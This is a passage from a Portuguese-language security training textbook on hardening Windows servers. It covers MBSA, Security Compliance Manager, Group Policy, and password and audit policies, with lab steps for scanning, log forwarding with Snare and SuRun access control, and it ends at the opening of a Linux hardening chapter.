uma tela inicial do WSUS em execução:

Figura 9.10
MBSA Tela inicial do WSUS.

Microsoft Baseline Security Analyzer (MBSA) é uma ferramenta capaz de verificar se


servidores – com Windows Server 2003 e 2008, e estações de trabalho com Windows XP,
Vista e 7 – estão de acordo com as recomendações de segurança da Microsoft e ainda se
estão com as últimas versões das correções de segurança instaladas. Para utilizar o MBSA,
será necessário ter conta no sistema com privilégio de administrador.
Segurança de Redes e Sistemas

210
Figura 9.11 Além de verificar a instalação de correções de segurança, o MBSA também verifica falhas
Microsoft Baseline comuns na configuração dos servidores, como o serviço de atualização desligado, contas de
Security Analyzer.
usuário que nunca expiram, contas sem senhas, configurações com fragilidade de segurança
do Internet Explorer, entre outras. O MBSA é gratuito para usuários Windows.

Microsoft Security Compliance Manager


A ferramenta Microsoft Security Compliance Manager é completa para a segurança de servi-
dores e estações Windows. Tem por objetivo concentrar uma série de conhecimentos sobre
a segurança de servidores e facilitar o processo de hardening de servidores e estações. Ela
permite aplicar uma série de parâmetros de segurança, a customização de baselines e a
exportação em formatos fáceis de aplicar em um ambiente.

q
Capítulo 9 - Configuração segura de servidores Windows
Recursos presentes na ferramenta:

11 Gerenciamento centralizado de baselines

22 Provê uma interface centralizada de gerenciamento para prover, planejar e customizar


baselines, incluindo as recomendadas para os sistemas operacionais Windows.

11 Customização de baselines

22 Permite customizar, comparar, juntar e revisar as baselines.

11 Exportação para múltiplos formatos

22 Permite a exportação das configurações em diversos formatos, incluindo XLS,


GPO, DCM e SCAP, para permitir a automação da implantação e o monitoramento
da aderência às baselines definidas.

Suporta Windows Server 2008 R2, Windows Server 2008, Windows Server 2003, Hyper-V,
Windows 7, Windows Vista, Windows XP, BitLocker Drive Encryption, Windows Internet
Explorer 8, Microsoft Office 2010 e Microsoft Office 2007 SP2.

211
A figura a seguir mostra o console principal da ferramenta:

Figura 9.12
Microsoft Security
Compliance Manager.

w
Ele requer o .NET runtime e o SQL Server Express. Os seguintes passos são necessários para
a instalação da ferramenta:

1. Baixe a ferramenta no seguinte link: http://go.microsoft.com/fwlink/?LinkId=14840. O Microsoft Security


Compliance Manager
2. Execute a instalação. O User Account Control (UAC) vai pedir permissões para executar o pode ser baixado em
http://technet.
instalador como administrador. Autorize as permissões.
microsoft.com
3. Na tela seguinte, marque a opção: “Automatically check for application and baseline
updates from microsoft.com during application usage for current user”.

4. Aceite os termos da licença. Instale a ferramenta no diretório padrão e escolha um nome


para identificar as baselines criadas (ex.: ESR).

5. Na página referente ao SQL Server Express, escolha a opção “Download and Install”.

6. Aceite os termos da licença do SQL Server Express.

7. Aguarde a instalação da ferramenta e seus pré-requisitos. Dependendo da conexão de


internet, pode demorar um tempo.

Durante a instalação, caso o .NET Runtime não esteja instalado, o MSCM não será instalado e
será necessário baixar e instalar esse componente.
Segurança de Redes e Sistemas

Ao iniciarmos o MSCM pela primeira vez, o aplicativo automaticamente busca e instala as


versões mais recentes dos templates de segurança para as plataformas suportadas por ele.
Essa atualização é importante para garantir que as últimas versões dos templates estão
sendo utilizadas. Essa atualização pode também ser realizada através do menu “Tools”,
opção “Check for baselines”. Na tela principal, temos então os seguintes componentes:

212
Figura 9.13
Microsoft Secu-
rity Compliance
Manager.

Baseline Library q
11 Lista todas as baselines numa estrutura hierárquica.

11 Ao clicar em uma baseline com o botão direito, um menu apresenta alguns comandos
que podem ser aplicados.

Baseline Information Pane

11 Apresenta informações sobre a baseline selecionada.

Actions

11 Apresenta comandos para a gerência das baselines.

Vamos agora imaginar que queremos criar uma baseline para o Windows 7. Ao iniciar o
MSCM, vemos no lado esquerdo o painel de bibliotecas de baseline. Dentro da categoria
“Windows 7”, vamos escolher uma baseline que se adeque às nossas necessidades. Neste
exemplo, usaremos o Win7-SSLF-Desktop 1.0. Ao clicar na baseline no painel central, vemos
uma série de informações.

Agora, podemos verificar que a baseline escolhida se refere a uma política para estações de Capítulo 9 - Configuração segura de servidores Windows
trabalho (desktop). A sigla SSLF se refere a “Segurança Especializada – Funcionalidade Limi-
tada”, que indica que a política correspondente é bastante restritiva. Segundo a descrição,
essa política só é aplicável em organizações que possuam altos padrões de segurança,
onde ela é mais importante que a funcionalidade das aplicações. Ela ainda assume que o
ambiente utiliza o Active Directory e que a comunicação só é feita com computadores com a
versão mais atual do sistema Windows e com as atualizações mais recentes.

Na parte superior da janela, vemos uma aba Documents, que nos fornece informações adicionais
sobre a segurança do sistema operacional em questão. No exemplo, o documento Windows 7
Security Guide.docx oferece um guia completo sobre a segurança desse sistema operacional.

A partir de uma baseline padrão, exporta-se para formatos que podem ser aplicados em
computadores, como GPO, DCM e SCAP. Para customizar uma baseline, porém, temos de

213
criar uma cópia, pois as da Microsoft não são editáveis. No painel do lado direito, encon-
tramos a opção Duplicate, que permite duplicar uma baseline, que aparecerá na árvore do
lado esquerdo da janela, na parte superior.

Figura 9.14
Exemplo de
duplicação de
baseline.

A partir dessa cópia, podemos analisar cada parâmetro de configuração e alterá-lo, criando uma
nova baseline personalizada. No exemplo, ao clicar em “Power management/sleep settings” e
na aba Definitions abaixo, podemos habilitar (enable) e desabilitar (disable) esse item específico,
que corresponde à exigência de senha quando o computador sair do modo de espera.

Ao finalizar a configuração desejada, a opção “Create GPO Backup” permite criar um Group
Policy Object (GPO), que pode ser aplicado em um computador específico (ou em um
conjunto de computadores), utilizando o Active Directory ou o Local Policy Tool (LPT), que
acompanha a ferramenta. Opcionalmente podemos exportar a configuração no formato
Desired Configuration Management (DCM), de modo a utilizar o Configuration Manager para
monitorar os computadores no ambiente, verificando se estão de acordo com as baselines
definidas. Por se tratar de um produto comercial, o System Center Configuration Manager
não será detalhado neste capítulo.

Exercício de fixação 4 e
Microsoft Security Compliance Manager
Explique como funciona o Microsoft Security Compliance Manager?

Sistemas de arquivos e gerenciamento de usuários


Sistemas de arquivos do Windows: q
11 FAT32.

11 NTFS.

11 Controle de acesso em sistemas NTFS.

Por fim, porém não menos importante, um sistema seguro deve utilizar um sistema de
arquivos que suporte a criação de permissões, de modo a limitar o acesso dos usuários, limi-
tando um potencial estrago em caso de comprometimento de uma conta de usuário, além de
Segurança de Redes e Sistemas

incluir o mínimo de usuários possíveis. O sistema de arquivos padrão do Windows, a partir da


versão NT, é o NTFS. Apesar de suportar outros sistemas, como o FAT32, recomenda-se que
seja usado sempre o NTFS por questões de segurança, pois ele possui a capacidade de ajuste
de permissões por usuário (ACL), para que o sistema de arquivos possa ser configurado de
modo que os usuários só tenham acesso ao que realmente for necessário para a utilização do
sistema (princípio do menor privilégio). Podemos verificar as permissões de um determinado
arquivo ou pasta no sistema, através das propriedades, na aba Segurança:

214
Figura 9.15
Permissões de
um determinado
arquivo.

Aqui podemos editar as propriedades de segurança desse objeto, adicionando ou remo-


d vendo permissões. É importante lembrar que os servidores que utilizam NTFS como sistema
de arquivos já possuem uma configuração inicial razoavelmente restritiva, de modo que
O documento “Threats um usuário não administrador tenha poucos privilégios no ambiente, não conseguindo
and Countermeasures: instalar novos programas e com permissão de gravação apenas na sua pasta de trabalho.
Security Settings in
Windows Server 2008 Ao configurar o sistema, devemos verificar ainda as contas de usuário, removendo todas
and Windows Vista” as contas que não estão em uso, especialmente contas de convidado (guest), e definindo
apresenta recomenda-
senhas complexas para os usuários e para a conta de administração. Outra prática comum é
ções importantes
para configurar um renomear a conta de administrador, de modo que dificulte a ação de ataques de força bruta,
bastion host. com o objetivo de encontrar a senha dessa conta.

Group Policy Objects


Capítulo 9 - Configuração segura de servidores Windows
Uma das grandes tarefas de um administrador de redes é o gerenciamento de usuários,
grupos e computadores de uma rede e, dependendo do tamanho da estrutura da organi-
zação, essa tarefa pode demandar horas e mais horas de planejamento e execução. Uma
ferramenta de vital importância para suprir essa demanda é sem dúvida o Group Policy
Objects (GPO), presente nos sistemas operacionais de rede da Microsoft desde a versão
2000. Com ele podemos controlar boa parte do comportamento tanto das estações de tra-
balho que compõem nosso parque de máquinas quanto do próprio servidor.

Essas políticas facilitam a configuração de várias máquinas ao mesmo tempo, bastando


apenas escolher qual política utilizar para toda a empresa, para um grupo específico ou
mesmo para apenas uma estação de trabalho.

Com o GPO podemos:

11 Restringir ícones e botões da área de trabalho ou do menu Iniciar.

11 Limitar o número de programas a serem executados.

215
11 Restringir opções do Active Desktop.

11 Remover programas desnecessários.

11 Programar instalações remotas de programas.

11 Configurações do Internet Explorer.

As configurações executadas via GPOs são aplicadas para usuários, computadores, member
servers, Domain Controlers, mas apenas para computadores rodando Windows 2000 (Server
ou Professional), Windows XP, Windows Vista, Windows Server 2003 e Windows Server 2008.

A primeira aproximação que a Microsoft fez com políticas de grupos foi introduzida no
Windows NT 4 através do Police Editor, mas foi com o lançamento do Windows 2000 Server
que foi introduzido ao mundo Windows o Group Policy Editor, que incluía:

11 Configuração dos principais componentes do Windows.

11 Configuração dos principais recursos dos Active Desktop.

11 Configuração das regras de segurança.

11 Instalação de Softwares do tipo Windows Installer.

11 Configurações por computador ou usuário.

11 Herança, bloqueio de herança e regras mandatórias.

Com o lançamento do Windows 2003 Server, a implementação de GPOs ficou ainda mais
fácil, principalmente com o Group Policy Management Console.

Agora, com o Windows 2008 Server, o Group Policy ganhou mais opções, incorporando
muitos dos serviços antes feitos apenas através de scritps, tais como mapeamento de
impressoras, discos e aspectos do desktop do usuário, inclusão de filtros WMI (Windows
Management Instrumentation), permitindo a criação de GPOs específicas conforme o har-
dware da estação e criação de modelos com o recurso “Starter GPO”. Quando falamos de
GPO, estamos nos referindo a Diretivas de Grupo. Uma diretiva de grupo é um conjunto de
regras que podemos utilizar a fim de facilitar o gerenciamento, configuração e segurança de
computadores e usuários.

Podemos atribuir diretivas em uma GPO. Essa GPO com essas regras podem ser atribuídas a um:

11 Site: é o mais alto nível e normalmente atribuído a GPOs mais genéricas, válidas para
qualquer usuário/computador/domínio nesse site.

11 Domínio: vem em segundo nível. Configurações feitas nesse nível afetaram usuários/
computadores dentro do domínio.

11 OU: o que se aplica nas OUs afetarão todos os usuários/computadores dentro dela.

Para criar uma GPO, basta clicar com o botão direito em uma das opções acima, clicar em
Propriedades e na aba Group Policy.
Segurança de Redes e Sistemas

216
Figura 9.16
Criando uma GPO.

Exercício de fixação 5 e
Group Policy Objects (GPO)
Explique o que são Group Policy Objects (GPO).

Políticas de usuários e de computador


O console GPO é dividido em duas partes: q
11 Computer Configuration

22 Permite aplicar políticas que sempre estarão ativas nas estações de trabalho,
independente do usuário logado.

22 Como essas políticas são permanentes, a chave de registro modificada em questão


é HKEY_LOCAL_MACHINE.

11 User Configuration

22 Essa opção permite a implementação de políticas diretamente nos usuários, não


sendo permanente na estação de trabalho.

22 Essa política estará associada ao usuário e será aplicada em qualquer estação na


Capítulo 9 - Roteiro de Atividades

qual o usuário faça login.

Se houver algum conflito entre as configurações dos computadores e dos usuários, as confi-
gurações dos usuários vão prevalecer.

Opções de GPO
11 Software Settings – nessa categoria são configurados, por exemplo, a distribuição de
aplicações para o usuário.

11 Windows Settings – permite ao administrador customizar as configurações do Windows.


Essas opções são diferentes para usuários e computadores.

217
11 Administrative templates – modelos utilizados para configurar as definições de políticas
de segurança de usuários e computadores, essas opções acessam diretamente as chaves
de registro HKEY_LOCAL_MACHINE e HKEY_CURRENT_USER.

Ordem das GPOs


Dependendo da estrutura da organização, podemos utilizar várias GPOs para as mais
diversas tarefas e, muitas vezes, essas GPOs podem ser aplicadas a um mesmo objeto, seja
diretamente ou por herança. Nesse caso, as GPOs possuem uma hierarquia para serem
aplicadas:

11 GPO local.

11 GPO de site.

11 GPO de domínio.

11 GPO de OU.

As GPOs são baseadas em modelos que possuem uma lista de opções configuráveis de forma bastante
intuitiva. Em sua maioria oferecem a opção de:

11 Habilitada: especifica o item que será ativado.

11 Desabilitada: especifica o item que será desativado.

11 Não configurada: deixa a opção neutra: não está ativada nem desativada, essa é a
opção padrão.

Heranças de GPO
Para facilitar a criação de GPOs, pode-se especificar em um site uma política global, como
mudança de senha ou papel de parede específico, e em domínio ou OU uma política mais
restritiva e personalizada. Por padrão, as GPOs podem ser sobrepostas caso existam
políticas habilitadas em um site e em um domínio, seguindo sempre a precedência da mais
próxima. Por exemplo, podemos configurar em nível de site uma GPO para que os usuários
troquem a senha a cada 30 dias. Porém, no domínio foi configurada uma GPO desativando
essa política. Nesse caso, a política vigente será a do domínio.

GPO1

Site

GPO2

Domínio
Segurança de Redes e Sistemas

GPO3

ou
Figura 9.17
Heranças de GPO.

Entretanto, esse comportamento pode ser alterado através das opções:

11 Block Policy Inheritance (Bloquear Herança de Políticas): especifica que as configurações


da GPO para um determinado objeto não será herdada de seu nível superior.

218
11 Force Policy Inheritance (Forçar Herança de Políticas): especifica que você não permitirá
que níveis filhos possam sobrescrever suas configurações de GPO. Por exemplo, se o
administrador de rede da empresa deseja criar uma GPO que force os usuários a utili-
zarem uma senha de nove dígitos e não deseja que os administradores do domínio nem
das OUs dos domínios alterem essa política, ele pode criar a GPO, aplicar para todo o site
e marcar a opção de Force Policy Inheritance.

Diretivas de segurança local


Quando trabalhamos com o Windows Server em um domínio, a maior parte das confi-
gurações de segurança pode e deve ser feita através de GPOs do Active Directory, facili-
tando a configuração automática de parâmetros de segurança em todas as estações de trabalho
automaticamente, eliminando a necessidade de configuração máquina a máquina. Porém, nem todas
as organizações trabalham com domínios. Dessa maneira, não dispomos de GPOs para configu-
ração de segurança. Para configurar esses parâmetros de segurança nos servidores pode-se
utilizar as diretivas de segurança local.

Uma diretiva de segurança local permite ao administrador controlar:

11 Quem acessa os computadores.

11 Quais recursos os usuários estão autorizados a usar no computador.

11 Se as ações de um usuário ou grupo são registradas no Log de eventos.

Entre as mais diversas possibilidades de implementação de itens de segurança que o Windows


Server possibilita a um administrador de sistemas, podemos destacar as seguintes diretivas:

11 Política de senhas.

11 Auditoria de contas.

11 Direitos de usuários.
Capítulo 9 - Roteiro de Atividades

11 Opções de segurança.

Diretiva de senhas
Sempre é bom lembrar que uma boa política de senhas é fundamental para uma organi-
zação, mas, antes de mais nada, é um controle de segurança, e antes de defini-lo o adminis-
trador precisa entender exatamente quais os riscos envolvidos em se definir como o usuário
vai trabalhar com suas senhas, o valor do que está sendo protegido com essa senha e os
demais controles de acesso que existem adicionalmente além da própria senha.

219
A organização deve estar preocupada não somente com ataques de força bruta ou por dicio-
nário, mas também evitar que o usuário esqueça a senha e tenha de redefini-la diversas
vezes. Porém, uma fraca política de autenticação invalida todas as outras barreiras imple-
mentadas, tais como firewalls, criptografia etc. Para se defender contra essas vulnerabili-
dades, faz-se necessário uma correta aplicação de diretivas de senha utilizando o console
Diretiva de segurança local ou do domínio, se o servidor for um controlador de domínio.

Opções:

11 A senha deve satisfazer a requisitos de complexidade: se essa diretiva estiver habilitada,


as senhas deverão atender aos itens abaixo informados.

11 Aplicar histórico de senhas: configuração de segurança que determina o número de


novas senhas exclusivas que devem ser associadas a uma conta de usuário, para que
uma senha antiga possa ser utilizada. Valor entre 0 e 24 senhas.

11 Armazenar senhas usando criptografia reversível: diretiva que oferece suporte a apli-
cativos que necessitam armazenar a senha original do usuário, essa opção só deve ser
utilizada se realmente for necessário.

11 Comprimento mínimo de senha: configuração de segurança que determina o tamanho


mínimo de caracteres que uma conta de usuário pode conter. Valor entre 0 (desativa) e 14.

11 Tempo de vida máximo da senha: configuração que determina o período de tempo em


dias em que uma senha pode ser utilizada antes de o sistema solicitar sua alteração.
Valor 0 desativa o tempo máximo. De 1 a 999 define o espaço de tempo.

11 Tempo de vida mínimo da senha: configuração que determina o período de tempo em


dias em que uma senha deve ser utilizada antes de o usuário poder alterá-la. Valor 0 habi-
lita o usuário a trocar a senha imediatamente.
Segurança de Redes e Sistemas

Diretiva de auditoria
A auditoria de segurança é uma das ferramentas mais poderosas para ajudar a manter a
segurança do sistema. A auditoria deve identificar ataques, bem sucedidos ou não, que
representam algum tipo de ameaça a sua rede ou ataques contra os recursos determinados
em sua avaliação de riscos.

220
Principais opções:

11 Acesso aos serviços de diretório de auditoria: determina se o sistema operacional fará a


auditoria das tentativas dos usuários de acessar os objetos do Active Directory.

11 Auditoria de alteração de diretivas: determina se o sistema operacional fará a auditoria


de cada instância de tentativas de alteração da diretiva de atribuição de direitos, diretivas
de auditoria, diretivas de contas ou diretivas de confiança do usuário.

11 Auditoria de eventos de logon: determina a necessidade de o sistema operacional fazer


auditoria de cada instância de tentativa de logon ou logoff de um usuário no computador.

11 Auditoria de eventos de sistema: determina a necessidade de o sistema operacional fazer


auditoria dos seguintes itens:

22 Alteração do horário do sistema.

22 Inicialização ou desligamento do sistema.

22 Carregamento de componentes de autenticação extensível.

22 Perda de eventos que passaram por auditoria, devido a falha no sistema de auditoria.

22 Se o tamanho do log de segurança exceder o nível de limite de aviso configurável.

11 Auditoria de gerenciamento de conta: determina a necessidade de o sistema operacional


auditar eventos de gerenciamento de contas, tais como criação, alteração e exclusão de
contas de usuário e grupos, definição de senhas etc.
Capítulo 9 - Roteiro de Atividades

221
Atribuição de direitos de usuários

Em determinadas situações, não basta apenas ativar ou desativar certas diretivas de segurança.
É necessário, em algumas situações, informar quais usuários devem ou não ter acesso às
opções de segurança de um sistema. A atribuição de direitos de usuário determina quais
contas ou grupos têm direitos ou privilégios no computador.

Principais opções:

11 Acesso a este computador pela rede: esse direito de usuário determina quais usuários e
grupos têm permissão para se conectar com o computador pela rede.

11 Adicionar estações de trabalho ao domínio: essa configuração de segurança determina


quais grupos ou usuários podem adicionar estações de trabalho a um domínio.

11 Permitir logon pelos serviços de terminal: essa configuração de segurança determina quais
usuários ou grupos têm permissão para fazer logon como um cliente de serviços de terminal.

11 Alterar a hora do sistema: permite informar quais usuários têm permissão para alterar a
data e a hora do computador.

11 Apropriar-se de arquivos ou de outros objetos: determina quais usuários podem apro-


priar-se de objetos protegidos do sistema, incluindo objetos do Active Directory, arquivos
ou pastas, impressoras, chaves do registro, processos e segmentos. Por padrão, apenas
os administradores possuem essa opção.

11 Fazer backup de arquivos e pastas: direito do usuário que determina os usuários que
podem ignorar permissões de diretório, registro e outros objetos persistentes, com a
Segurança de Redes e Sistemas

finalidade de fazer backup do sistema. Especificamente esse direito de usuário é seme-


lhante a conceder permissões a usuários e grupos para todos os arquivos e pastas do
sistema, mesmo que essas pastas tenham permissões diferentes.

Opções de segurança
Além das políticas e controles de segurança constantes nas diretivas locais, podemos des-
tacar também o conjunto de opções de segurança. Essas opções complementam as políticas
de segurança local.

222
Essas opções são divididas em:

Acesso à rede. Controles DCOM.

Auditoria. Desligamento.

Cliente de rede Microsoft. Dispositivos.

Configurações do sistema. Logon interativo.

Console de recuperação. Membro de domínio.

Contas. Objetos do sistema.

Controlador de domínio. Segurança de rede.

Controle de conta de usuário. Servidor de rede Microsoft.

Criptografia.

Capítulo 9 - Roteiro de Atividades

223
Segurança de Redes e Sistemas

224
Roteiro de Atividades 9
Atividade 1 – Configuração segura de servidor
Utilizando as técnicas vistas na parte teórica, modifique a configuração do servidor Windows
2008 de modo a torná-lo mais seguro, atendendo aos itens descritos no texto.

No decorrer do texto, foram mencionados alguns pontos de atenção na configuração de um


servidor Windows Seguro, sendo eles:

11 Remover ou desabilitar todos os serviços não necessários no host

11 Remover ou desabilitar todas as contas de usuário não necessárias

11 Remover ou desabilitar todos os protocolos de rede não utilizados

11 Configurar adequadamente os registros de log do sistema, para que possam identificar


possíveis ataques ou atividade suspeita

11 Implantar um sistema de detecção de intrusão de host

11 Atualizar o sistema operacional com as últimas correções de segurança disponibilizados


pelo fabricante

11 Filtrar todas as portas desnecessárias ao host

11 Utilizar conexão criptografada para conectar ao host

Para nos auxiliar nesta tarefa, vamos utilizar a ferramenta da MBSA (Microsoft Microsoft
Baseline Security Analyser).

Passo 1 No host WinServer, acesse o site da ferramenta MBSA:


http://www.microsoft.com/technet/security/tools/mbsahome.mspx.
A URL da ferramenta pode mudar a qualquer momento por definição do fabri-
cante; se o endereço eletrônico acima estiver quebrado, pesquise no Google
“Microsoft Baseline Security Analyser”.

Passo 2 Clique no link da última versão do MBSA para ser redirecionado ao portal
da ferramenta.

Passo 3 Faça o download do programa na tradução de língua em que você se sinta mais
familiarizado e na plataforma de sua máquina, por exemplo, 32 ou 64 bits.

Passo 4 Execute o programa instalador do MBSA. Depois de finalizada a instalação,


será adicionado um ícone do MBSA em sua área de trabalho; execute esse
aplicativo com um duplo clique nesse ícone.

Passo 5 Faça o Scan no host, aceitando as configurações padrões para o Scan. Após
completar a varredura, verifique o relatório final com as sugestões de ações.
Avalie se as sugestões são pertinentes e se estão em conformidade com os
Capítulo 9 - Roteiro de Atividades

tópicos apresentados no início desta atividade.

225
Passo 6 Aplique as correções que você julgar necessárias, como:
11Atualização do sistema operacional.
11O firewall do Windows.
11Compartilhamentos habilitados.
11Registros de logs mínimos.
11Serviços não necessários.
Os serviços abaixo podem ser desativados sem comprometer a segurança
do sistema:
11Agendador de Tarefas (schedule).
11Ajuda e Suporte (helpsvc).
11Áudio do Windows (AudioSrv).
11Configuração sem fio (WZCSVC).
11Registro Remoto (RemoteRegistry).
11Spooler de Impressão (spooler).
11Microsoft TAPI Service (TapiSrv).
11Messenger (messenger).

Passo 7 Faça novamente o Scan na máquina local, conforme descrito no Passo 5.


O relatório do novo Scan apresenta evolução? É necessário corrigir todos os
alertas apresentados nos relatórios do MBSA?

Atividade 2 – Auditoria
Execute uma auditoria no servidor Windows 2008 com o Nessus e compare o resultado com
o da auditoria feita na Atividade 1 do Roteiro de Atividades 8. Houve aumento do nível de
segurança? Analise o resultado da auditoria e tente realizar mais modificações na configu-
ração do servidor para torná-lo ainda mais seguro
Segurança de Redes e Sistemas

226
Atividade 3 – Envio de log para servidor remoto
Logs são arquivos de texto gerados pelo sistema e que podem ajudar a descobrir problemas
na execução de softwares, problemas de hardware e incidentes de segurança. Do ponto de
vista da segurança, é muito importante deixar esses arquivos seguros, intactos, inalteráveis
e de acesso restrito. Uma forma de proteger os logs de um equipamento é enviá-los para um
servidor central com acesso restrito. Tal funcionalidade irá permitir, inclusive, a correlação
de logs e eventos facilitando a identificação de possíveis atacantes.

Nesta atividade iremos utilizar o binário Snare para enviar os logs do servidor Windows
2008 para um servidor Linux no formato SysLog.

Passo 1 O Windows disponibiliza a configuração de auditoria na ferramenta Group


Policy Editor. Para iniciá-la, execute o comando:
C:\WINDOWS\system32\gpedit.msc
Na ferramenta, acesse a seção Computer Configuration / Windows Settings /
Security Settings / Local Policies / Audit Policy. Habilite os seguintes eventos
como Sucesso e Falha:

Audit Policy Valor

Audit account logon events Success, Failure

Audit account management Success, Failure

Audit logon events Success, Failure

Audit object access Failure

Audit policy change Success

Audit privilege use Failure

Audit process tracking No Auditing

Audit system events Success, Failure

Para permitir o envio dos logs para o servidor Syslog centralizado, vamos
instalar o software Snare, cujo instalador pode ser encontrado em:
http://www.intersectalliance.com/projects/SnareWindows/
A instalação deve utilizar os padrões fornecidos pelo instalador, com exceção da
opção sobre a interface de configuração remota do SNARE. Nessa tela, marque a
opção “Enable Web Access” e, em password, digite “rnpesr”.
Agora vamos configurar o Snare. Acesse o endereço http://localhost:6161
no campo usuário digite ”snare“ e a senha é ”rnpesr”. Clique em “Network
Configuration” e em “Destination Snare Server address”. Altere para
172.16.G.10 e em “Destination Port” altere para 514. Clique em “Change
Configuration”.
Agora clique em “Apply the Latest Audit Configuration” e clique no botão
“Reload Settings”.
Para testar, acesse via SSH o servidor 172.16.G.10 e realize um logon/logoff no
Capítulo 9 - Roteiro de Atividades

servidor Windows 2008. Observe que foi criado o arquivo 172.16.G.20.log e


dentro dele estão os logs que estão sendo enviados pelo servidor Windows.
Você pode customizar os logs que serão enviados para o servidor remoto.
Para isso, clique em “Objectives Configuration” no menu esquerdo. Não deixe
de consultar o manual dessa interessante ferramenta.

227
Atividade 4 – Controle de acesso ao sistema operacional
O objetivo dessa atividade é realizar a instalação de um software chamado SuRun. A ideia
por trás do SuRun é semelhante ao que acontece no Linux com o sudo, ou seja, não permitir
que um usuário administrador possa se autenticar remotamente e, a partir de uma lista de
usuários válidos, permitir que eles possam executar binários como administrador.

Passo 1 Utilizando o snap-in “Computer Management” em “Administrative Tools”, crie


o usuário “suporteloc” com a senha “rnpesr”.
Baixe a ferramenta SuRun (semelhante ao sudo do Unix) do endereço
http://kay-bruns.de/wp/software/surun e instale como Administrador.
Abra a janela de configuração do SuRun, na aba “Common Settings”.
Habilite a opção “Users must enter their password”, com dois minutos (min
grace period before asking again).
Habilite a opção “Show SuRun settings for experienced users”.
Na aba Advanced, habilite “Hide SuRun from users that are not members of
the ‘SuRunners’ group”.
Clique em “Apply” e, em seguida, em “Save”.
Utilizando o snap-in “Computer Management”, adicione ao grupo SunRunners
o usuário suporteloc.
Faça um logon/logoff e autentique utilizando o usuário suporteloc.
Para utilizar o SuRun, basta clicar com o botão direito em cima de um snap-in
qualquer ou um executável e selecionar a opção Start as Administrator.

Passo 2 Agora, vamos configurar o acesso remoto ao servidor Windows 2008 utili-
zando o serviço de Terminal. Para isso, acesse o painel de controle e clique em
System. Selecione “Advanced System Settings” e clique na aba “Remote”.
Habilite a opção “Allow connections from computers running any version of
Remote Desktop (less secure)”.
Utilizando o snap-in “Computer Management”, acrescente o usuário supor-
teloc dentro do grupo “Remote Desktop Users”.

Passo 3 Agora vamos bloquear o acesso remoto de usuários membros do grupo


Administradores. Acesse a ferramenta Terminal Services Configuration em
Administrative Tools > Terminal Service.
Clique com o botão direito na conexão RDP-Tcp e edite suas propriedades.
Na aba Security, acesse a opção Advanced.
Escolha o grupo Administrators.
Selecione a opção Edit.
Na permissão Logon, marque a opção Deny.
Para testar, tente autenticar utilizando o usuário Administrator. Agora tente
utilizando o usuário suporteloc.
Segurança de Redes e Sistemas

228
10
Configuração segura de
servidores Linux
objetivos

Estudar uma série de técnicas para a configuração segura de um servidor Linux,


desde a sua instalação até a publicação do servidor na internet e realizar a aplicação
prática dos conhecimentos.

conceitos
Instalação do Linux, desabilitação de serviços desnecessários, pacotes e programas,
instalação segura de serviços, acessos administrativos, ferramentas de segurança
de servidores e testes de configuração e auditoria.

Introdução
O elo mais fraco de uma defesa determina a sua resistência. Quando estabelecemos um perí-
metro de segurança, limitando o contato com a rede pública através de uma rede desmilitari-
zada (DMZ), os servidores públicos passam a ser o elo mais fraco da rede na maioria dos casos,
pois são eles que executam serviços públicos que podem ser explorados por atacantes através
de vulnerabilidades ou de uma configuração incorreta. O comprometimento de um servidor
na DMZ pode permitir a abertura de conexões para a rede interna, dependendo da política de
segurança adotada no perímetro. Apesar de ser algo considerado no momento de implantação
do perímetro, em alguns casos não é possível realizar um isolamento completo. Como exemplo,

Capítulo 10 - Configuração segura de servidores Linux


podemos citar o trânsito de correio eletrônico de um servidor público para um servidor interno,
ou o acesso a um banco de dados interno a partir de uma aplicação web pública.

Dessa forma, é imperativo que haja um investimento significativo na proteção dos servidores
Hardening presentes na DMZ. Essa proteção de servidores é muitas vezes chamada de hardening, e
Processo de mudança envolve tanto configurações seguras quanto a instalação de software que aumente a segu-
na configuração de um rança do servidor. No capítulo 9, vimos como configurar um servidor seguro utilizando o
servidor, com o intuito
de torná-lo mais seguro. sistema operacional Microsoft Windows Server 2008. Neste capítulo, veremos como confi-
gurar um servidor utilizando o sistema operacional Linux. Durante a parte teórica, as informa-
ções apresentadas, na medida do possível, serão genéricas, de modo que a configuração seja
independente da distribuição Linux utilizada. Nas atividades práticas, será utilizada a distri-
buição Debian, pois é open source e bastante utilizada em servidores.

No decorrer deste capítulo, veremos uma série de técnicas para a configuração segura de
um servidor Linux, desde a sua instalação até a publicação do servidor na internet.

229
Exercício de nivelamento 1 e
Configuração segura de servidores Linux
Como que você entende que deve ser feita a configuração segura de servidores Linux?

Instalação do Linux
11 Realizar instalação com o mínimo indispensável q
22 Netinst (Debian).

11 Instalar um sistema mínimo e ir adicionando pacotes para prover as funcionalidades


necessárias.

11 Imagens de disco para criar uma imagem de um sistema já instalado.

22 Tecnologias de virtualização.

Normalmente, quando instalamos um sistema operacional utilizando as opções padrão,


uma série de programas e serviços instalados pode ser desnecessária para o propósito do
servidor. Dessa forma, é importante ter em mente o papel que o servidor desempenhará, de
modo a realizar uma instalação com o mínimo indispensável para o funcionamento do ser-
vidor. No caso do Debian, existe uma mídia de instalação denominada netinst, que possui
o mínimo de pacotes para montar um sistema básico. Essa abordagem é interessante, visto
que é possível instalar um sistema mínimo e ir adicionando pacotes para prover as funciona-
lidades necessárias. Em outros sistemas ou distribuições, normalmente existe uma opção de
instalação avançada, onde o administrador pode configurar o que será instalado no sistema.

Outra decisão importante em um sistema Linux refere-se ao particionamento do disco rígido


do servidor. Abaixo são listadas algumas regras interessantes a observar durante a instalação:

11 Qualquer árvore de diretórios em que um usuário puder escrever (como /home, /tmp)
deve estar em uma partição separada e usar quotas de disco. Isto reduz o risco de um
usuário encher seu sistema de arquivos e realizar um ataque de negação de serviço.

11 Diretórios de uso comum como /home e /tmp podem ser colocados em partições sepa-
radas e configurados para não permitir a execução de arquivos (atributo noexec).
Na mesma linha, o atributo nosuid ignorará o bit de SUID e vai tratá-lo como um arquivo
normal, impedindo que um script mal configurado seja executado com permissões de
outro usuário. Esses atributos são configurados no arquivo /etc/fstab.

11 Dados estáticos podem ser colocados em uma partição separada, somente como leitura.
Um exemplo seria a partição /etc/, que após a configuração do servidor, poderia ser
Segurança de Redes e Sistemas

montada em uma mídia em formato de somente leitura, como CD-ROM.

É comum administradores utilizarem ferramentas de imagens de disco para criar uma imagem
de um sistema mínimo já instalado, com os recursos básicos para o bom funcionamento de
um servidor. Essa imagem pode tornar-se o padrão para a criação de um novo servidor e o
ponto de partida para a sua configuração. Recursos como NTP para sincronismo de tempo, NTP
SSH para acesso de administração e configurações como fuso horário, senhas de adminis- Network Time Protocol
é o protocolo de
